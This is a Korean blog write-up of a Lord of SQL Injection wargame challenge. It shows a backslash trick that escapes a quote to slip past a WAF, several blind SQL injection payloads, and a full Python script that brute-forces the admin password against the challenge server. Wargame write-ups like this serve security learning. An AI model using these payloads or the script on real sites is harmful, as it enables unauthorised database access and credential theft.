이 친구도 그다지 복잡하지 않은 친구이다. 역슬래시로 id 영역의 싱글쿼터를 벗어나는 방법은 WAF(Web Application Firewall)에 걸리지 않는 것 같다.
Blind SQL Injection 형식의 문제이니 pw를 모두 구해야 한다. 우선 길이부터 구하자.
id=\&pw= or id="admin" and length(pw)>'0
아주 예쁘게 나온다. 이후에는 pw를 구하는 코드를 짜면 될 것 같다. pw를 구하는 payload 구성 방식에는 다음과 같은 방식들이 있을 것이다.
- substr 함수를 사용
- pw like "X%" - like문과 와일드카드 이용
- pw rlike "^X" - 정규표현식과 rlike 이용
- bin(ord(substr())) 함수를 이용 - 2진수로 검색
이번에는 그냥 간단하게 1번으로 payload를 구성하겠다. exploit.py 는 다음과 같다.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
for i in range(0, 100):
payload = '?id=\&pw= or id="admin" and length(pw)=' + str(i) + "%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Hello admin" in res.text:
print("Length of PW is [ %d ]\n" % i)
break
# Brute Force
password = ''
for i in range(1, 9):
for j in range(33, 122):
payload = '?id=\&pw= or id="admin" and substr(pw,' + str(i) + ',1)=' + "'" + chr(j)
res = session.get(url = org_url + payload, headers = header, verify=False)
if "Hello admin" in res.text:
password += chr(j)
print("Current PW is [ %s ]\n" % password)
break
# Result
print("\n\nPW --> %s\n" % password)
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - banshee (0) | 2021.10.03 |
---|---|
Lord of SQL Injection - manticore (0) | 2021.10.03 |
Lord of SQL Injection - death (0) | 2021.10.02 |
Lord of SQL Injection - cthulhu (1) | 2021.10.02 |
Lord of SQL Injection - ouroborus (0) | 2021.10.02 |